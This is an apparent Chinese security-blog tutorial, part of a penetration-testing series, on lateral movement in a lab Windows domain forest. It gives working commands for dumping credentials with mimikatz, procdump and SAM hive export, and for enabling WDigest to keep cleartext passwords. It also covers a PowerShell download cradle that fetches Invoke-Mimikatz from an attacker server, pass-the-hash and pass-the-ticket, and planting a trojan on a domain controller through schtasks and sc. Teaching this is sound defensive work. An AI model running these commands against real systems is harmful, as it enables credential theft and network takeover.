freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

渗透测试之地基内网篇:域森林中横向移动(中)
大余 2021-04-20 23:47:56 248125

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

渗透测试人员需谨记《网络安全法》,根据《网络安全法》所示,未经授权的渗透测试都是不合法的,不管是出于何种目的。红队渗透人员在进行渗透期间,渗透测试的行为和项目必须在被渗透方授予权限可渗透后,才可进行渗透测试操作。

如今有一家dayu公司,需要对自己的业务以及整体的内网框架体系进行隐患挖掘,授予权限我进行对dayu公司的渗透测试操作,在签署了双方的《渗透测试授权书》后,我开始了对dayu公司的渗透之旅。

跳开思维讲,我此篇内容是内网渗透篇章,通过我的专栏:

社工钓鱼 -> 免杀过全杀软 -> 内网渗透 

那么我通过了社工钓鱼的各种方式,将钓鱼文件进行免杀后,成功钓鱼到了该公司外围人员计算机,并控制了该计算机权限获得shell,并成功登录对方电脑。

通过前期对域用户大量的信息收集,画出了相对应的简单网络拓扑图,下一步需要进攻子域控制器,思路如下:

域普通用户 -> 子域控制器 -> 父域控制器 ->辅域控制器

通过该思路进攻即可,还有另外一条思路:

域普通用户 -> 10.10.21.0/24二级区域 -> 父子域控制器 -> 横向延伸

渗透人员最爱系统之一有kali,还有各类windows集成的武器库系统,通过上期隐藏通信隧道技术已经在内网域森林中建立了一级隧道,并在上期权限提升中将普通用户权限提升为system最高权限后,今天我们就来对域森林进行横向移动,总结实战中会遇到的横向移动各种方法,利用这些方法在内网中遨游!

不会内网横向移动技术,就无法对内网机器进行进一步的渗透!!

二、环境介绍

目前信息收集获得的网络情况:(模拟环境)
拓扑图简介
1619426440_60867c88e65a7a3d13409.png!small?1619426442036

为了更好的演示接下来的渗透和回看总拓扑图公司搭建环境情况:

单篇:渗透测试之地基内网篇:域森林中父子域和辅域用户搭建分析

接下来将演示分析内网中的横向移动各种方法,利用该方法在域森林中旅行!

三、Mimikatz枚举NTLM hash

通过横向移动上期讲述后,对NTLM hash有了一定的了解认识,接下来将利用Mimikatz进行哈希枚举!Mimikatz如何免杀的请查看:
单篇:渗透测试之地基免杀篇:mimikatz底层分析免杀过360

mimikatz是由法国的技术高手Benjamin Delpy使用C语言编写的一款轻量级系统调试工具。该工具可以从你内存中提取明文密码、散列值、PIN和Kerberos票据。mimikatz也可以执行哈希传递、票据传递或者构建黄金票据(Golden Ticket)。

接下来讲到实战中常用的方法和技巧!

1、通过SAM和System文件抓取密码

无工具导出SAM文件:
1619426447_60867c8fe216c15746570.png!small?1619426448334

reg save hklm\sam sam.hive    #通过reg的save选项将注册表中的SAM,System文件导出到本地磁盘
reg save hklm\system system.hive

通过reg的save选项将注册表中的SAM、System文件导出到本地磁盘。

2、通过读取SAM和System文件获取NTML Hash

通过windows自带reg命令导出的sam.hive和system.hive文件,在利用mimikatz读取该文件中的哈希密码:
1619426455_60867c97e96a2a6198ef7.png!small?1619426457174

lsadump::sam /sam:sam.hive /system:system.hive    #文件和mimikatz放在同一目录

成功获得哈希密码!

3、Mimikatz读取SAM

1)方法1
Mimikatz也可以直接读取SAM值进行获取哈希!

1619426466_60867ca238d655b2c033f.png!small?1619426467936
将mimikatz免杀处理后上传至目标机器,在命令行中打开:

mimikatz
privilege::debug    #提升权限
token::elevate    #system权限
lsadump::sam    #读取本地SAM文件,获取NTML Hash

成功获得哈希!

2)方法2
1619426477_60867cadb6b14a1e8e5fa.png!small?1619426481611

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"    #在线读取散列值及明文密码

执行后桌面生成文本保存信息!该两种方法都是非常实用的!

四、实战哈希获取技巧总结

1、lsass.dmp读取

使用mimikatz离线读取lsass.dmp文件!

1)导出lsass.dmp文件
使用任务管理器导出lsass.dmp文件。

在Windows NT6中,可以在任务管理器中直接进行Dump操作:
1619426489_60867cb9c97e3485d7801.png!small?1619426491763
1619426495_60867cbf255f2cb756759.png!small?1619426495671
1619426500_60867cc4a89342e699efb.png!small?1619426509306
成功在线导出!

2)使用Procdump导出lsass.dmp文件

Procdump是微软官方发布的工具,可以在命令行下将目标lsass文件导出,且杀毒软件不会拦截。
1619426507_60867ccb7543117e1837d.png!small?1619426509307

procdump.exe -accepteula -ma lsass.exe lsass.dmp

成功导出!

3)使用mimikatz导出lsass.dmp文件中的密码散列值
首先运行mimikatz,将lsass.dmp文件加载到mimikatz:1619426514_60867cd21cba23d401b17.png!small?1619426516086

sekurlsa::minidump lsass.DMP    #看到Switch to MINIDUMP 加载成功
sekurlsa::logonPasswords full    #导出密码散列值

成功获取明文密码!!

2、powershell对散列值进行dump

使用power shell对散列值进行dump,管理员权限打开powershell,进入nishang目录,将Get-PassHashes.ps1脚本导入:
1619426520_60867cd859c7f4f66b20b.png!small?1619426521411

Import-Module .\Get-PassHashes.ps1
Get-PassHashes

成功通过Get-PassHashes获取dump哈希密码!

3、Powershell远程加载获取哈希

使用Powershell远程加载mimikatz抓取散列值和密码!!

1)kali开启http服务
1619426526_60867cde4ff34b2c0a5dd.png!small?1619426526741

python -m SimpleHTTPServer 80

2)远程调用mimikatz
1619426531_60867ce31ea0a73d3afce.png!small?1619426532694

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.253.28/Invoke-Mimikatz.ps1');Invoke-Mimikatz

成功调用VPS上建立的HTTP服务下的mimikatz文件进行远程读取哈希密码!

4、明文密码抓取技巧

微软为了防止用户密码在内存中以明文形式泄露,发布了补丁 KB2871997关闭了Wdigest功能。

Windows Server 2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server 2012以下版本,如果安装了KB2871997,攻击者同样无法获取明文密码。

在对方日常网络维护中,通常是查看注册表项Wdigest,可以判断Wdigest功能的状态。如果该项的值为1,用户下次登录时,攻击者就能使用工具获取明文密码。应该确保该项的值为0,使用户明文密码不会出现在内存中。

那我们只需要将Wdigest功能状态调整为1即可获取对方的明文密码!在命令行环境中开启或关闭Wdigest Auth,有如下方法:
1619426538_60867cea528b5cc2e0f5f.png!small?1619426538637

#开启
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

#关闭
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

当Wdigest功能状态调整为1后,在最后权限维持阶段,将客户电脑进行重启后进入电脑状态即可看到对方的明文密码!!

5、Hashcat获取密码

Hashcat 的 oclHashcat 是一个用来破解哈希值的工具,支持 MD5 和 SHA1。

Hashcat号称是世界上最快,最先进的,基于GPGPU的密码恢复工具,支持5种独特攻击模式,超过170个高优化哈希算法。oclHashcat当前支持AMD(OpenCL)和Nvidia(CUDA) 图形处理器,支持GNU/Linux和Windows 7/8/10 平台。
1619426547_60867cf3d9b9aad0662a3.png!small?1619426553141

hashcat -m 100 -a 0 hash.txt rockyou.txt --force    #破解过程中s查看状态,p暂停,q退出
hashcat -m 100 -a 0 hash.txt rockyou.txt --force --show  查看破解出来的

6、在线密码破解

1)彩虹表在线破解:

https://www.objectif-securite.ch/en/ophcrack

2)推荐在线破解网站:

https://www.cmd5.com/
http://www.xmd5.com/

五、哈希传递攻击分析

大多数渗透测试人员都听说过哈希传递(Pass The Hash)攻击。该方法通过找到与账户相关的密码散列值(通常是NTLM Hash )来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。通过哈希传递,攻击者不需要花时间破解密码散列值(进而获得密码明文)。

当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,如果该网站出现安全漏洞,所有用户的明文密码均会被泄露。由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输人的密码进行散列加密处理(通常使用MD5算法)。散列加密算法一般为单向不可逆算法。当用户登录网站时,会先对用户输人的密码进行散列加密处理,再与数据库中存储的散列值进行对比,如果完全相同则表示验证成功。

下面通过域森林进行实验来分析哈希传递攻击的原理!

1、NTLM Hash哈希传递

这里在详细提及PTH是什么?Pass The Hash 哈希传递攻击简称 PTH,该方法通过找到与账户相关的密码散列值(NTLM Hash)来进行攻击。由于在Windows系统中,通常会使用NTLM Hash对访问资源的用户进行身份认证,所以该攻击可以在不需要明文密码的情况下,利用LM HASH和NTLM HASH直接远程登录目标主机或反弹shell。

下面演示哈希传递攻击的方法(需要管理员权限,权限提升即可)!

1)攻击者在Windows 7上面上传mimikatz,并用mimikatz抓取Hash:
1619426557_60867cfde4fbfc09a1644.png!small?1619426559549

mimikatz "privilege::debug" "log" "sekurlsa::logonpasswords"

privilege::debug
sekurlsa::logonpasswords

NTLM : 6c5fbeb7c83cf7afe04f8d7e38852d52

成功抓取到域管理员的NTLM Hash!!

2)在Windows 7上用mimikatz将获取的Administrator的Hash添加进lsass中:
1619426563_60867d03c1d28ce0fdb69.png!small?1619426565513

privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:6c5fbeb7c83cf7afe04f8d7e38852d52

成功反弹一个票据shell界面!!

3)成功,此时会自动弹出一个新的shell,这时访问远程主机或服务,就不用提供明文密码了,如下,我们列出了域控制器OWA的c盘目录:
1619426569_60867d09547e46dba9b9c.png!small?1619426572404

2、思路拓展

我们还能将msf木马copy到域控上并设置计划任务或创建服务来执行:

copy dayu.exe \\OWA\c$
#将msf木马dayu.exe复制到目标机器上

schtasks /create /tn "shell" /tr C:\dayu.exe /sc MINUTE /s 192.168.52.138
#在域控上创建shell计划任务,开机时启动c盘下dayu.exe
schtasks /run /s 192.168.52.138 /i /tn "shell"
#在域控上立即启动该计划任务

sc \\OWA create dayu binpath= "c:\dayu.exe"
#在域控上创建服务启动木马
sc \\OWA start dayu
#在域控上立即启动该服务

可看到利用了域森林横向移动(上)演示的copy后门到目标系统目录中,然后schtasks或者sc建立计划任务执行dayu.exe后门,成功上线控制目标系统!

六、票据传递攻击分析

上节演示完哈希传递攻击后,继续延伸方式方法,接下来进行票据传递攻击思路演示!

要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。mimikatz 同样提供了不需要本地管理员权限进行横向渗透测试的方法,例如票据传递( Pass The Ticket, PTT). 本节将通过实验分析票据传递攻击的思路,并给出防范措施。

1、PTT票据传递

1)使用mimikatz,可以将内存中的票据导出:

mimikatz "privilege::debug" "sekurlsa::tickets /export"
#使用mimikatz,可以将内存中的票据导出

执行以上命令后,会在当前目录下出现多个服务的票据文件,例如krbgt、cifs、ldap等!只要拿到了目标机器的票据,那么就可以在黑客机器上实现未授权访问:
1619426578_60867d121af38ac20e5d2.png!small?1619426584934

2)将票据文件注入内存
1619426583_60867d17c23e7b2ef49b3.png!small?1619426584934

mimikatz "kerberos::ptt "C:\Users\Administrator\Desktop\[0;1fde52]-2-0-40e00000-Administrator@krbtgt-GOD.ORG.kirbi"
mimikatz "kerberos::ptt "[0;1fde52]-2-0-40e00000-Administrator@krbtgt-GOD.ORG.kirbi"
#将票据文件注入内存

新导入的票据可以用于域的身份认证,并拥有票据中指定用户的权限来访问网络资源。

3)验证票据是否成功

1619426589_60867d1d8a287523caecf.png!small?1619426590513

将高权限的票据文件注入内存后,将列出远程计算机系统的文件目录!

dir \\OWA\c$

注意:如果OWA打不开,可以尝试IP读取。然后接下来就进行copy拿shell!

4)清理票据

1619426594_60867d22b89347a5d5fb5.png!small?1619426595241

kerberos::purge    #使用minikata清除内存中的票据

清理票据方便横向移动到别的目标系统!

2、黄金白银票据...

如何进行黄金白银票据攻击进行横向移动呢?在域森林中横向移动(下)将详细介绍黄金白银票据攻击、PsExec横向、WMI横向、SMBexec横向等等进行详细攻击演示!敬请期待!

七、总结

mimikatz枚举hash -> 实战哈希获取技巧(六种) -> PTH哈希攻击 -> PTT票据攻击进行横向攻击思路后,层层连接建立横向思路进行攻击渗透,给小伙伴们建立了在提权模块后横向移动的多级思路!

如果不会这几种方法进行横向移动,就很难在内网中旅行,无法见到更多的风景,学习今天的方法,通过多种方法获取到哈希值进行哈希票据攻击获得目标系统权限,就可以在该公司域森林中遨游了!

公司域森林搭建 -> 域森林信息收集上 -> 域森林信息收集下 -> 域森林通信隧道建立上 -> 域森林通信隧道建立下 -> 域森林中权限提升上 -> 域森林中权限提升中 -> 域森林中权限提升下 -> 域森林中横向移动(上)-> 域森林中横向移动(中)-> ......

接下来在《域森林中横向移动(下)》中会接触黄金白银票据攻击、PsExec横向、WMI横向、SMBexec横向攻击等横向移动的方式方法!如何建立内网渗透框架一步步攻击该公司内网环境的思路和方法,请看下篇域森林中横向移动篇章!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

# 横向移动 # 域森林
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 大余 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
渗透测试之地基篇
渗透测试
大余 LV.5
没有网络安全就没有国家安全,VXID:dayuST
  • 91 文章数
  • 1074 关注者
大余每日一攻防EvilBox
2023-12-27
大余每日一攻防SNAKEOIL(十七)
2023-12-26
大余每日一攻防DEATHNOTE-1(十六)
2023-12-25
文章目录